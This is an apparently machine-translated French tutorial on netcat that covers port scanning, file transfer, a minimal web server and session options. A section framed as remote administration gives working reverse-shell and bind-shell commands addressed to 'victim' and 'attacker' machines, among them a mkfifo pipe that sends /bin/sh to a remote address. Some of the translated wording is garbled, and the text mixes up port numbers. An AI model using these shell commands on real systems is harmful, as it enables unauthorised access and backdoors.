Chat Net

Netcat - Utilisation du couteau suisse Pro

Netcat - Utilisation du couteau suisse Pro
Netcat est un utilitaire utilisé pour lire et écrire des données sur les ports TCP et UDP. Il peut être utilisé pour beaucoup de choses intéressantes comme le transfert de fichiers, l'analyse de port, la redirection de port, la porte dérobée sur le PC de quelqu'un d'autre, la création d'un simple programme de discussion, le dépannage du réseau et plus encore, c'est pourquoi il est connu sous le nom de couteau suisse. De plus, il est pré-installé avec presque toutes les distributions Linux de nos jours et il est principalement utilisé par les administrateurs réseau, les DevOps et les ingénieurs de sécurité pour leurs petites tâches quotidiennes.

Une brève différence entre netcat-traditionnel et netcat-openbsd

Il existe deux packages similaires disponibles pour netcat avec une légère différence entre eux.

netcat-traditionnel inclut une option '-e' supplémentaire qui peut être utilisée pour lier un programme (i.e bash) avec netcat. Cette fonctionnalité est très utile à des fins d'administration à distance.

netcat-openbsd avoir un support supplémentaire pour IPv6 et les proxys.

Installation de Netcat

Bien que netcat soit pré-installé dans la plupart des distributions Linux, mais si ce n'est pas le cas, il peut être installé facilement à l'aide des commandes suivantes.

Pour le forfait traditionnel,

[email protected]:~$ sudo apt-get install netcat-traditional

Pour la version openbsd,

[email protected]:~$ sudo apt-get install netcat-openbsd

Netcat pour Windows peut être téléchargé ici https://sourceforge.net/projects/nc110/files/.

Nous allons maintenant explorer quelques cas d'utilisation intéressants de netcat

Balayage des ports à l'aide de netcat

Pour rechercher les ports ouverts, utilisez l'option '-z'. Netcat essaiera de se connecter à chaque port sans envoyer de données ou de données très limitées dans le cas d'UDP. Tapez ce qui suit

[email protégé]:~$ nc -z -v hackme.organisation 80
… couper…
hack moi.org [217.78.1.155] 80 (http) ouvert

Pour rechercher une plage de ports, tapez

[email protégé] :~$ nc -z -nv 192.168.100.72 20-80
(INCONNU) [192.168.100.72] 80 (http) ouvert
(INCONNU) [192.168.100.72] 22 (ssh) ouvert

Transfert de fichiers avec netcat

Un autre cas d'utilisation utile de netcat est le transfert de fichiers entre ordinateurs distants. Vous pouvez envoyer des textes et des fichiers binaires d'un PC à un autre PC. Nous essaierons d'envoyer un fichier "fichier.pdf" du PC Linux au PC Windows [IP 192.168.100.72] en utilisant netcat comme exemple.

Sur la machine Windows (récepteur), tapez ce qui suit

C:\Utilisateurs> nc -nvlp 1337> fichier.pdf
Écoute sur [0.0.0.0] (famille 2, port 1337)

Sur la machine Linux (expéditeur), tapez ce qui suit

[email protégé] :~$ nc -nv 192.168.100.72 1337 < file.pdf
Connexion à 192.168.100.72 1337 port [tcp/*] réussi!

Administration à distance avec netcat

L'un des meilleurs cas d'utilisation de netcat est l'administration à distance, ce qui signifie que vous pouvez contrôler le PC de quelqu'un d'autre à l'aide de netcat. Netcat-traditional est livré avec l'option '-e' qui peut être utilisée pour lier un programme (i.e cmd.exe sous Windows ou bash sous Linux) avec un port, cela signifie que netcat agira comme un communicateur entre le programme et le PC distant. Netcat recevra les commandes du PC distant, s'exécutera sur le système local et renverra les résultats au PC distant. Cette fonctionnalité est largement utilisée à des fins malveillantes, pour garder les portes dérobées dans les PC et les serveurs. Cette fonctionnalité n'est disponible que dans netcat-traditional mais avec une petite astuce, netcat-openbsd peut également être utilisé dans le même but. Vous pouvez utiliser deux façons de contrôler le PC des autres.

Dans un Coque inversée connexion, un attaquant écoute sur un port et attend qu'une connexion soit envoyée depuis la machine victime. Il est utilisé lorsque l'ordinateur victime est derrière NAT ou n'a pas d'IP publique.

Pour obtenir un shell inversé en utilisant netcat, vous devez écouter sur un port en utilisant netcat. Tapez ce qui suit sur la machine de l'attaquant,

[email protégé] :~$ nc -nvlp 1337
Écoute sur [0.0.0.0] (famille 2, port 1337)

Sur la machine victime (si netcat-traditionnel est installé)

//remplacer "/bin/bash" par "cmd.exe" dans le cas de Windows

[email protégé] :~$ nc -nv [IP_ADDR] 1337 -e /bin/bash

Pour netcat-openbsd (où l'option "-e" n'est pas prise en charge)

[email protégé]:~$ rm /tmp/f;mkfifo /tmp/f;cat
/tmp/f|/bin/sh -i 2>&1|nc [IP_ADDR] 1337 >/tmp/f

Alors que dans un Coquille de liaison connexion, l'attaquant lie un port sur la machine victime et se connecte à ce port à l'aide du socket client. Il est utilisé lorsque la machine de l'attaquant est derrière NAT ou n'a pas d'IP publique.

Sur la machine victime, tapez

[email protégé] :~$ nc -nlvp 1337 -e /bin/bash
écoute sur [tout] 1337…

Maintenant, pour exécuter des commandes sur la machine victime, tapez

[email protégé] :~$ nc -nv 127.0.0.1 1337
Connexion au 127.0.0.1 1337 port [tcp/*] réussi!
$ identifiant
uid=1000(azad) gid=1000(azad) groupes=1000(azad),4(adm),24(cdrom),27(sudo),
30(dip),46(plugdev),118(lpadmin),129(sambashare)

Serveur Web simple utilisant netcat

Vous pouvez également faire une autre astuce simple pour utiliser netcat comme serveur Web minimal d'une seule page. Ce serveur web serait très simple sans configuration particulière, et nous l'utiliserons pour envoyer notre code HTML au navigateur.

[email protected]:~$ while true ; do  echo -e "HTTP/1.1 200 OK\n\n $(écho "


Mon serveur Web simple utilisant netcat

")" | nc -nvlp 1337 ; Fini
Écoute sur [0.0.0.0] (famille 2, port 1337)

Maintenant, essayez de récupérer la page Web à l'aide de curl

[email protégé] :~$ curl http://127.0.0.1:1337/

Mon serveur Web simple utilisant netcat

Spécifier le délai d'expiration pour une session netcat

Vous pouvez spécifier le délai d'expiration pour une session netcat en utilisant l'option "-w". Netcat déconnectera automatiquement sa session une fois le temps spécifié écoulé.

// -w [Temps en secondes]
[email protégé] :~$ nc -w 40 -nvlp 1337
Écoute sur [0.0.0.0] (famille 2, port 1234)

Continuer l'écoute même si le client ferme la connexion

En mode normal, le serveur netcat s'arrête et arrête d'écouter sur le port lorsqu'un client ferme la connexion. Vous pouvez maintenir le serveur actif en utilisant l'option "-k"

[email protégé] :~$ nc -k -nlvp 1234
Écoute sur [0.0.0.0] (famille 2, port 1234)

Conclusion

Netcat est un utilitaire simple mais efficace qui peut être utilisé pour de nombreuses tâches quotidiennes simples. Il est pré-installé dans presque tous les systèmes d'exploitation UNIX et peut être utilisé pour diverses tâches telles que la communication entre deux PC, le transfert de fichiers et bien d'autres.

Installez le dernier jeu de stratégie OpenRA sur Ubuntu Linux
OpenRA est un moteur de jeu de stratégie en temps réel libre/gratuit qui recrée les premiers jeux Westwood comme le classique Command & Conquer: Red A...
Installez le dernier émulateur Dolphin pour Gamecube et Wii sur Linux
L'émulateur Dolphin vous permet de jouer aux jeux Gamecube et Wii de votre choix sur des ordinateurs personnels Linux (PC). Étant un émulateur de jeu...
Comment utiliser le moteur de triche GameConqueror sous Linux
L'article couvre un guide sur l'utilisation du moteur de triche GameConqueror sous Linux. De nombreux utilisateurs qui jouent à des jeux sur Windows u...